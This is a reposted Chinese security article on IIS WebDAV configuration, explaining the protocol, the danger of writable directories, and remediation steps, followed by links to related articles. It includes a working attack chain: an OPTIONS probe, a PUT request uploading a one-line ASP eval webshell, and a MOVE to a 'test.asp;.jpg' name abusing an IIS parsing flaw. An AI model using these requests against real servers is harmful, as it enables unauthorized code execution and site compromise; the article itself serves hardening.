IIS WebDAV安全配置
本文为转载,原文地址:http://www.2cto.com/article/201307/228165.html
IIS WebDAV安全配置
2013-07-16 12:13:00 作者:瞌睡龙收藏 我要投稿
0x00 简介
WebDAV是一种基于 HTTP 1.1协议的通信协议.它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法。
使应用程序可直接对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。
IIS实现Webdav是采用的其两种接口CGI、ISAPI的ISAPI接口。
但因为其没有采用影射的方式,所以IIS的主程序w3svc.dll本身包含了Webdav的信息。
其识别出是Webdav的请求后就调用Webdav的处理模块httpext.dll。
对于常见几种请求方法GET、HEAD、POST等,因为常见一些映射都支持。
所以不能以请求方法作为Webdav请求的判断,w3svc.dll就根据请求头的字段识别。
如果请求头里面包含Translate:、If:、Lock-Token:中的一种,就认为是Webdav的请求。
Translate:就是那个Translate:f的泄露源代码的一个请求头,其实设置别的两个也是一样的。
可能很多IDS是没有这点知识的。W3svc.dll还内置了几个别的请求方法TRACK、TRACE等。
TRACK就是用于调试错误的,如果收到这样的请求头,w3svc.dll会原样返回请求数据。
相当于我们常见的ping.exe。
IIS对TRACK请求没有进行LOG记录,这点我们可以用于来获得banner。
对于IIS将优于大家习惯使用的HEAD。
如果上面的请求方法没匹配,那么w3svc.dll就会认为是Webdav的请求,交给httpext.dll处理了。
这些请求包含Webdav支持的PROPFIND、PROPPATCH、MKCOL、DELETE、PUT、COPY、MOVE、LOCK、UNLOCK等。
0x01 配置
为了安全上的考虑,IIS默认并不会启动WebDAV的功能,因此必须另外来激活它。
通过启动“IIS管理器”,展开本地计算机,选择“Web服务扩展”,选择“允许”的途径来启动WebDAV功能。
开启WebDAV之后,IIS就支持PROPFIND、PROPPATCH、MKCOL、DELETE、PUT、COPY、MOVE、LOCK、UNLOCK等方法了。
enter image description here
当IIS中的配置允许写入的时候就可以直接PUT文件上去,由此可能引发非常严重的安全问题,强烈建议禁制
enter image description here
0x02 危害
当开启了WebDAV后,IIS中又配置了目录可写,便会产生很严重的问题。 wooyun上由此配置产生的问题很多,并且有老外黑了一群中国政府站有一部分就是由于此配置。 危害巨大,操作简单,直接批量扫描,上传shell。
0x03 查找存在问题的服务器
对服务器发送OPTION包:
OPTIONS / HTTP/1.1
Host: www.test.com
返回响应头如下:
HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DASL: DAV:sql
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
Cache-Control: private
当ALLOW中包含如上方法时,可以确定服务器开启了WebDAV。
此时可以用PUT上传文件,但是不可以直接上传可执行脚本文件,可以先上传一个其他类型的文件,然后MOVE成脚本文件。
PUT /test.txt HTTP/1.1
Host: www.test.com
Content-Length: 23
<%eval request("a")%>
启用了“WebDAV”扩展,并且复选了“写入”,就可以写入txt文件了。要想使用MOVE命令将其更名为脚本文件后缀,必须还复选上“脚本资源访问”。
但是发现利用IIS的解析漏洞,可以MOVE成test.asp;.jpg,然后就可以当做shell来执行了
MOVE /test.txt HTTP/1.1
Host: www.test.com
Destination: http://www.test.com/test.asp;.jpg
有一个开源的DAV管理工具,使用工具直接查看:
http://www.davexplorer.org/download.html
0x03 修复方案
1 禁用WebDAV。
通常情况下网站不需要支持额外的方法,右键WebDAV,点击禁用即可。
2 如果要使用WebDAV的话,加上权限验证。
如果选取“脚本资源访问”,则用户将具备修改WebADV文件夹内的脚本文说明件(scriptfile)的功能。
除了此处的虚拟目录权限外,还需要视NTFS权限,才可以决定用户是否有权限来访问WebDAV文件夹内的文件。
WebDAV文件夹的NTFS权限给予用户适当的NTFS权限。
首先请设置让Everyone组只有“读取”的权限,然后再针对个别用户给予“写入”的权限,例如我们给予用户“User”写入的权限。
选择验证用户身份的方法启动“IIS管理器”,然后右击WebDAV虚拟目录,选择“属性”→“目录安全性”,单击“身份验证和访问控制”处的编辑按钮。
不要选取“启用匿名访问”,以免招致攻击。选择安全的验证方法,选择“集成Windows身份验证”。
enter image description here
参考:
http://www.2cto.com/Article/201307/228162.html
http://www.2cto.com/Article/200410/1313.html
http://www.2cto.com/Article/201307/228163.html
http://www.2cto.com/Article/201004/46779.html
http://www.2cto.com/os/201307/228164.html
IIS WebDAV安全配置的更多相关文章
- 接口调优——WebAPI 过滤器,IIS WebDAV
目录 1.身份认证过滤器—AuthenticationFilter 2.Action 过滤器—ActionFilter 3.异常处理过滤器—ExceptionFilterAttribute 4.IS ...
- 在 IIS 6 和 IIS 7中配置Https,设置WCF同时支持HTTP和HTPPS,以及使用HttpWebRequest和HttpClient调用HttpS
IIS 7 ,给IIS添加CA证书以支持https IIS 6 架设证书服务器 及 让IIS启用HTTPS服务 WCF IIS 7中配置HTTPS C#利用HttpWebRequest进行post请求 ...
- 在iis中mantisbt配置过程
最近需要安装个mantisbt,由于不想再安装个apache服务器,因此直接使用iis作为php解析服务器.同时为了方便管理安装包,将php安装包和扩展包能够独立存放在D:\Program Files ...
- IIS 7.5 配置伪静态
IIS 7.5 配置伪静态_win服务器_脚本之家 win7下IIS的安装和配置 图文教程详细出处参考:http://www.jb51.net/article/29787.htm http://blo ...
- win7安装iis及web配置教程
下面iis教程只适用win7或win8系统的服务器配置,如果您使用的是xp系统或win2003系统请看:xp或2003安装iis及web配置教程 .注:新手如果嫌iis安装配置麻烦建议下载PageAd ...
- 网站运维工具使用iis日志分析工具分析iis日志(iis日志的配置)
我们只能通过各种系统日志来分析网站的运行状况,对于部署在IIS上的网站来说,IIS日志提供了最有价值的信息,我们可以通过它来分析网站的响应情况,来判断网站是否有性能问题,或者存在哪些需要改进的地方 对 ...
- MVC 发布到IIS中的配置方法
MVC 发布到IIS中的配置方法 http://msdn.microsoft.com/zh-cn/library/gg703322(v=vs.98).aspx
- IIS 程序池优化配置方案
内容目录 IIS 程序池优化配置方案IIS高并发配置一.IIS站点绑定程序池设置二.支持万级并发请求 IIS 程序池优化配置方案 最近由于系统的客户越来越多,有客户反映访问速度变慢,尤其是api的请求 ...
- 伪静态的实现方法:IIS环境下配置
URL 静态化可以提高搜索引擎抓取,开启本功能需要对 Web 服务器增加相应的 Rewrite 规则,且会轻微增加服务器负担.本教程讲解如何在 IIS 环境下配置各个产品的 Rewrite 规则. 下 ...
随机推荐
- Python常用模块之json
本章节我们将为大家介绍如何使用 Python 语言来编码和解码 JSON 对象. JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式,易于人阅读和编写. SO ...
- SpringAOP入门
Spring的AOP aop概述 Aspect Oriented Programing 面向切面(方面)编程, aop:扩展功能不修改源代码实现 aop采取横向抽取机制,取代了传统纵向继承体系重复性代 ...
- (C++ Error: Incompatible types in assignment of ‘char*’ to ‘char [2])
in C++, cannot assign a pointer to an array. c++中char*与char[]不是一种类型,但是在C里面可以,所以尽量使用C++中的类,如string, v ...
- Unity 游戏框架搭建 2019 (二十六) 第一轮整理完结
昨天呢我们把第八个示例整理完了.整理之后学习了类的第一作用:方法的集合,还有 Obselete 这个 API.并且在进行整理的时候贯彻了我们新的约定和规则:先确保功能有效,再去做变更和删除. 今天我们 ...
- Vulnhub DC-4靶机渗透
信息搜集 nmap -sP 192.168.146.0/24 #扫网段看看存活的主机,找到靶机 nmap -sS -Pn -A 192.168.146.141 可以看到开放了22和80端口,那么就可以 ...
- k8s集群搭建笔记(细节有解释哦)
本文中所有带引号的命令,请手动输入引号,不知道为什么博客里输入引号,总是自动转换成了中文 基本组成 pod:k8s 最小单位,类似docker的容器(也许) 资源清单:资源.资源清单语法.pod生命周 ...
- javascript入门 之 ztree (十 checkbox选中事件)
<!DOCTYPE html> <HTML> <HEAD> <TITLE> ZTREE DEMO - beforeCheck / onCheck< ...
- Python Requests-学习笔记(4)-定制请求头和POST
定制请求头 如果你想为请求添加HTTP头部,只要简单地传递一个 dict 给 headers 参数就可以了. import jsonurl = 'https://api.github.com/some ...
- python3(十) iteration
d = {'a': 1, 'b': 2, 'c': 3} for key in d: print(key, end=' ') # a b c dict的存储不是按照list的方式顺序排列,所以,迭代出 ...
- ES6构造函数class 和 ES5构造函数语法
构造函数就是JavaScript程序定义好的函数,我们直接使用就可以,实际也是一种函数,构造函数专门用于生成定义对象,通过构造函数生成的对象,称为实例化对象 构造函数分为两种,一种是JavaScrip ...